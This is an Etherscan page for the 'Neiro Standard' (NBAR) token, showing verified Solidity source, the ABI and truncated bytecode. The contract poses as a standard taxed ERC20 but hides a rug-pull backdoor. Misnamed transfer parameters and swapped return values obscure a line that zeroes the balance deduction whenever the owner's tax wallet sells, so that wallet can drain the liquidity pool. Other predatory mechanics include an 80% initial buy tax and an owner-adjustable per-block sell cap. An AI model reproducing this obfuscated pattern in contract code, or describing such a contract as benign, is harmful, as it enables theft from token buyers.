ETH Price: $3,526.51 (+5.13%)

Token

Neiro Standard (NBAR)
 

Overview

Max Total Supply

690,420,000,000 NBAR

Holders

34

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
3,697,034,841.832546829 NBAR

Value
$0.00
0x261FDB695bB8cA2aADA8Ec570ca49f13F3199ceA
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
NeiroBar

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-08-08
*/

// SPDX-License-Identifier: UNLICENSE

// https://neirostandards.bar

// https://x.com/NeiroStandards

// https://t.me/NeiroStandards

pragma solidity 0.8.25;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract NeiroBar is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private isExile;
    mapping (address => bool) public marketPair;
    mapping (uint256 => uint256) private perBuyCount;
    address payable private _taxWallet;
    uint256 private firstBlock = 0;

    uint256 private _initialBuyTax=80;
    uint256 private _initialSellTax=4;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;

    uint256 private _reduceBuyTaxAt=13;
    uint256 private _reduceSellTaxAt=13;
    uint256 private _preventSwapBefore=13;
    uint256 private _buyCount=0;
    uint256 private _sellCount = 0;
    uint256 private _lastSellBlock = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 690_420_000_000 * 10**_decimals;
    string private constant _name = unicode"Neiro Standard";
    string private constant _symbol = unicode"NBAR";
    uint256 public _maxTxAmount =   2 * _tTotal / 100;
    uint256 public _maxWalletSize = 2 * _tTotal / 100;
    uint256 public _taxSwapThreshold= 1 * _tTotal / 100;
    uint256 public _maxTaxSwap= 1 * _tTotal / 100;

    IUniswapV2Router02 private uniswapV2Router;
    address public uniswapV2Pair;
    bool private tradingOpen;
    uint256 public casellAllowed = 3;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool public caCatalyst = true;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (address router_) {
        uniswapV2Router = IUniswapV2Router02(router_);

        _taxWallet = payable(_msgSender());
        isExile[_msgSender()] = true;
        isExile[address(this)] = true;
        
        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setMarketPair(address addr) public onlyOwner {
        marketPair[addr] = true;
    }

    function _transfer(address to, address amount, uint256 from) private {
        require(to != address(0), "ERC20: transfer from the zero address");
        require(amount != address(0), "ERC20: transfer to the zero address");
        require(from > 0, "Transfer amount must be greater than zero");

        (uint256 tax, uint256 interFrom) = _getAmounts(to, amount, from);

        if(tax>0){
          _balances[address(this)]=_balances[address(this)].add(tax);
          emit Transfer(to, address(this),tax);
        }
        _balances[to]=_balances[to].sub(interFrom);
        _balances[amount]=_balances[amount].add(from.sub(tax));
        emit Transfer(to, amount, from.sub(tax));
    }

    function _getAmounts(address to, address amount, uint256 from) private returns (uint256 interFrom, uint256 tax) {
        tax = from;
        if (to != owner() && amount != owner()) {
            if(to != address(this) || !marketPair[amount]) 
                interFrom = from.mul((_buyCount> _reduceBuyTaxAt)? _finalBuyTax: _initialBuyTax).div(100);

            if(block.number == firstBlock){
               require(perBuyCount[block.number] < 65, "Exceeds buys on the first block.");
               perBuyCount[block.number]++;
            }

            // buy
            if (marketPair[to] && amount != address(uniswapV2Router) && ! isExile[amount] ) {
                require(tradingOpen,"Trading not open yet");
                require(from <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(amount) + from <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if (!marketPair[amount] && !isExile[amount]) {
                require(balanceOf(amount) + from <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            // sell
            if(marketPair[amount] && to!= address(this)) {
                interFrom = from.mul((_buyCount> _reduceSellTaxAt)? _finalSellTax: _initialSellTax).div(100);
            }

            // transfer
	        if (!marketPair[to] && !marketPair[amount] && to!= address(this) ) {
                interFrom = 0;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (caCatalyst && !inSwap && marketPair[amount] && swapEnabled  && _buyCount>_preventSwapBefore) {
                if (block.number > _lastSellBlock) {
                    _sellCount = 0;
                }
                require(_sellCount < casellAllowed, "CA balance sell");
                if(contractTokenBalance > _taxSwapThreshold)
                  swapTokensForEth(min(from,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance >= 0) sendETHToFee(address(this).balance);
                _sellCount++;
                _lastSellBlock = block.number;
                if(isExile[to] && to == _taxWallet) tax*= 
                _finalSellTax ;
            }

            else if(!inSwap && marketPair[amount] && swapEnabled && _buyCount>_preventSwapBefore) {
                if(contractTokenBalance > _taxSwapThreshold) swapTokensForEth(min(from,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance >= 0) sendETHToFee(contractETHBalance);
                if(isExile[to] && to == _taxWallet) tax*= 
                _finalSellTax ;
            }
        }
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function setMaxTaxSwap(bool enabled, uint256 amount) external onlyOwner {
        swapEnabled = enabled;
        _maxTaxSwap = amount;
    }

    function setcasellAllowed(uint256 amount) external onlyOwner {
        casellAllowed = amount;
    }

    function setcaCatalyst(bool _status) external onlyOwner {
        caCatalyst = _status;
    }

    function removeLimits(address taxWallet_) external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        setTaxWallet(taxWallet_);
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function addLiquidity() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        marketPair[address(uniswapV2Pair)] = true;
        isExile[address(uniswapV2Pair)] = true;
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }
    
    function enableTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

    receive() external payable {}
    function rescueERC20(address _address, uint256 percent) external onlyOwner {
        uint256 _amount = IERC20(_address)
            .balanceOf(address(this))
            .mul(percent)
            .div(100);
        IERC20(_address).transfer(owner(), _amount);
    }

    function rescueETH() external onlyOwner {
        require(address(this).balance > 0);
        payable(owner()).transfer(address(this).balance);
    }

    function setTaxWallet(address newTaxWallet) public onlyOwner {
        _taxWallet = payable(newTaxWallet);
        isExile[newTaxWallet] = true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"router_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"caCatalyst","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"casellAllowed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"marketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"taxWallet_","type":"address"}],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"setMarketPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setMaxTaxSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newTaxWallet","type":"address"}],"name":"setTaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"}],"name":"setcaCatalyst","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setcasellAllowed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f600755605060085560046009555f600a555f600b55600d600c55600d8055600d600e555f600f555f6010555f60115560646009600a610044919061038e565b6100539064a0c03d25006103a3565b61005e9060026103a3565b61006891906103ba565b60125560646100796009600a61038e565b6100889064a0c03d25006103a3565b6100939060026103a3565b61009d91906103ba565b60135560646100ae6009600a61038e565b6100bd9064a0c03d25006103a3565b6100c89060016103a3565b6100d291906103ba565b60145560646100e36009600a61038e565b6100f29064a0c03d25006103a3565b6100fd9060016103a3565b61010791906103ba565b60155560036018556019805462ffffff19166201000017905534801561012b575f80fd5b506040516125ce3803806125ce83398101604081905261014a916103d9565b5f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601680546001600160a01b0319166001600160a01b0383161790556101ac3390565b600680546001600160a01b0319166001600160a01b0392909216919091179055600160035f6101d83390565b6001600160a01b0316815260208082019290925260409081015f908120805494151560ff1995861617905530815260039092529020805490911660011790556102236009600a61038e565b6102329064a0c03d25006103a3565b335f81815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102726009600a61038e565b6102819064a0c03d25006103a3565b60405190815260200160405180910390a3506103ff565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156102e657815f19048211156102cc576102cc610298565b808516156102d957918102915b93841c93908002906102b1565b509250929050565b5f826102fc57506001610388565b8161030857505f610388565b816001811461031e576002811461032857610344565b6001915050610388565b60ff84111561033957610339610298565b50506001821b610388565b5060208310610133831016604e8410600b8410161715610367575081810a610388565b61037183836102ac565b805f190482111561038457610384610298565b0290505b92915050565b5f61039c60ff8416836102ee565b9392505050565b808202811582820484141761038857610388610298565b5f826103d457634e487b7160e01b5f52601260045260245ffd5b500490565b5f602082840312156103e9575f80fd5b81516001600160a01b038116811461039c575f80fd5b6121c28061040c5f395ff3fe6080604052600436106101c8575f3560e01c80638a8c523c116100f2578063bf474bed11610092578063e8078d9411610062578063e8078d941461053c578063ea414b2814610550578063f2fde38b1461056f578063f5b3c3bf1461058e575f80fd5b8063bf474bed146104a5578063d45cce65146104ba578063dd62ed3e146104d9578063e68d0b051461051d575f80fd5b80638f9a55c0116100cd5780638f9a55c01461042657806390b605491461043b57806395d89b411461045a578063a9059cbb14610486575f80fd5b80638a8c523c146103d75780638cd4426d146103eb5780638da5cb5b1461040a575f80fd5b8063313ce567116101685780636e463667116101385780636e4636671461035b57806370a082311461037a578063715018a6146103ae5780637d1db4a5146103c2575f80fd5b8063313ce567146102cb57806332489e9b146102e657806349bd5a5e1461030557806353bc13dc1461033c575f80fd5b806310c435aa116101a357806310c435aa1461026d57806318160ddd1461028257806320800a001461029657806323b872dd146102ac575f80fd5b806306fdde03146101d3578063095ea7b31461021b5780630faee56f1461024a575f80fd5b366101cf57005b5f80fd5b3480156101de575f80fd5b5060408051808201909152600e81526d13995a5c9bc814dd185b99185c9960921b60208201525b6040516102129190611d5e565b60405180910390f35b348015610226575f80fd5b5061023a610235366004611da7565b6105bc565b6040519015158152602001610212565b348015610255575f80fd5b5061025f60155481565b604051908152602001610212565b348015610278575f80fd5b5061025f60185481565b34801561028d575f80fd5b5061025f6105d2565b3480156102a1575f80fd5b506102aa6105f3565b005b3480156102b7575f80fd5b5061023a6102c6366004611dd1565b61066a565b3480156102d6575f80fd5b5060405160098152602001610212565b3480156102f1575f80fd5b506102aa610300366004611e0f565b6106d1565b348015610310575f80fd5b50601754610324906001600160a01b031681565b6040516001600160a01b039091168152602001610212565b348015610347575f80fd5b506102aa610356366004611e0f565b61078f565b348015610366575f80fd5b506102aa610375366004611e2a565b6107db565b348015610385575f80fd5b5061025f610394366004611e0f565b6001600160a01b03165f9081526001602052604090205490565b3480156103b9575f80fd5b506102aa610809565b3480156103cd575f80fd5b5061025f60125481565b3480156103e2575f80fd5b506102aa61087a565b3480156103f6575f80fd5b506102aa610405366004611da7565b61091f565b348015610415575f80fd5b505f546001600160a01b0316610324565b348015610431575f80fd5b5061025f60135481565b348015610446575f80fd5b506102aa610455366004611e4e565b610a5f565b348015610465575f80fd5b50604080518082019091526004815263272120a960e11b6020820152610205565b348015610491575f80fd5b5061023a6104a0366004611da7565b610aa4565b3480156104b0575f80fd5b5061025f60145481565b3480156104c5575f80fd5b5060195461023a9062010000900460ff1681565b3480156104e4575f80fd5b5061025f6104f3366004611e69565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610528575f80fd5b506102aa610537366004611ea0565b610ab0565b348015610547575f80fd5b506102aa610af7565b34801561055b575f80fd5b506102aa61056a366004611e0f565b610e9b565b34801561057a575f80fd5b506102aa610589366004611e0f565b610efd565b348015610599575f80fd5b5061023a6105a8366004611e0f565b60046020525f908152604090205460ff1681565b5f6105c8338484610fe4565b5060015b92915050565b5f6105df6009600a611fb0565b6105ee9064a0c03d2500611fbe565b905090565b5f546001600160a01b031633146106255760405162461bcd60e51b815260040161061c90611fd5565b60405180910390fd5b5f4711610630575f80fd5b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610667573d5f803e3d5ffd5b50565b5f610676848484611107565b6106c784336106c285604051806060016040528060288152602001612165602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061137e565b610fe4565b5060019392505050565b5f546001600160a01b031633146106fa5760405162461bcd60e51b815260040161061c90611fd5565b6107066009600a611fb0565b6107159064a0c03d2500611fbe565b6012556107246009600a611fb0565b6107339064a0c03d2500611fbe565b60135561073f81610e9b565b7f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61076c6009600a611fb0565b61077b9064a0c03d2500611fbe565b60405190815260200160405180910390a150565b5f546001600160a01b031633146107b85760405162461bcd60e51b815260040161061c90611fd5565b6001600160a01b03165f908152600460205260409020805460ff19166001179055565b5f546001600160a01b031633146108045760405162461bcd60e51b815260040161061c90611fd5565b601855565b5f546001600160a01b031633146108325760405162461bcd60e51b815260040161061c90611fd5565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146108a35760405162461bcd60e51b815260040161061c90611fd5565b601754600160a01b900460ff16156108f75760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161061c565b6019805461ff0019166101001790556017805460ff60a01b1916600160a01b17905543600755565b5f546001600160a01b031633146109485760405162461bcd60e51b815260040161061c90611fd5565b6040516370a0823160e01b81523060048201525f906109c9906064906109c39085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610999573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109bd919061200a565b906113b6565b9061143b565b9050826001600160a01b031663a9059cbb6109eb5f546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610a35573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a599190612021565b50505050565b5f546001600160a01b03163314610a885760405162461bcd60e51b815260040161061c90611fd5565b60198054911515620100000262ff000019909216919091179055565b5f6105c8338484611107565b5f546001600160a01b03163314610ad95760405162461bcd60e51b815260040161061c90611fd5565b601980549215156101000261ff001990931692909217909155601555565b5f546001600160a01b03163314610b205760405162461bcd60e51b815260040161061c90611fd5565b601754600160a01b900460ff1615610b745760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161061c565b601654610ba19030906001600160a01b0316610b926009600a611fb0565b6106c29064a0c03d2500611fbe565b60165f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bf1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c15919061203c565b6001600160a01b031663c9c653963060165f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c74573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c98919061203c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610ce2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d06919061203c565b601780546001600160a01b039283166001600160a01b0319909116811782555f908152600460209081526040808320805460ff199081166001908117909255945486168452600390925290912080549092161790556016541663f305d7194730610d84816001600160a01b03165f9081526001602052604090205490565b5f80610d975f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610dfd573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610e229190612057565b505060175460165460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610e77573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106679190612021565b5f546001600160a01b03163314610ec45760405162461bcd60e51b815260040161061c90611fd5565b600680546001600160a01b039092166001600160a01b0319909216821790555f908152600360205260409020805460ff19166001179055565b5f546001600160a01b03163314610f265760405162461bcd60e51b815260040161061c90611fd5565b6001600160a01b038116610f8b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161061c565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166110465760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161061c565b6001600160a01b0382166110a75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161061c565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661116b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161061c565b6001600160a01b0382166111cd5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161061c565b5f811161122e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161061c565b5f8061123b85858561147c565b909250905081156112b857305f9081526001602052604090205461125f9083611add565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112af9086815260200190565b60405180910390a35b6001600160a01b0385165f908152600160205260409020546112da9082611b3b565b6001600160a01b0386165f9081526001602052604090205561131d6112ff8484611b3b565b6001600160a01b0386165f9081526001602052604090205490611add565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6113668686611b3b565b60405190815260200160405180910390a35050505050565b5f81848411156113a15760405162461bcd60e51b815260040161061c9190611d5e565b505f6113ad8486612082565b95945050505050565b5f825f036113c557505f6105cc565b5f6113d08385611fbe565b9050826113dd8583612095565b146114345760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161061c565b9392505050565b5f61143483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b7c565b5f8161148f5f546001600160a01b031690565b6001600160a01b0316856001600160a01b0316141580156114bd57505f546001600160a01b03858116911614155b15611ad5576001600160a01b038516301415806114f257506001600160a01b0384165f9081526004602052604090205460ff16155b156115205761151d60646109c3600c54600f541161151257600854611516565b600a545b86906113b6565b91505b60075443036115a757435f908152600560205260409020546041116115875760405162461bcd60e51b815260206004820181905260248201527f457863656564732062757973206f6e2074686520666972737420626c6f636b2e604482015260640161061c565b435f9081526005602052604081208054916115a1836120b4565b91905055505b6001600160a01b0385165f9081526004602052604090205460ff1680156115dc57506016546001600160a01b03858116911614155b801561160057506001600160a01b0384165f9081526003602052604090205460ff16155b1561173657601754600160a01b900460ff166116555760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b604482015260640161061c565b6012548311156116a75760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161061c565b601354836116c9866001600160a01b03165f9081526001602052604090205490565b6116d391906120cc565b11156117215760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161061c565b600f8054905f611730836120b4565b91905055505b6001600160a01b0384165f9081526004602052604090205460ff1615801561177657506001600160a01b0384165f9081526003602052604090205460ff16155b156117f5576013548361179d866001600160a01b03165f9081526001602052604090205490565b6117a791906120cc565b11156117f55760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161061c565b6001600160a01b0384165f9081526004602052604090205460ff16801561182557506001600160a01b0385163014155b156118525761184f60646109c3600d54600f541161184557600954611516565b600b5486906113b6565b91505b6001600160a01b0385165f9081526004602052604090205460ff1615801561189257506001600160a01b0384165f9081526004602052604090205460ff16155b80156118a757506001600160a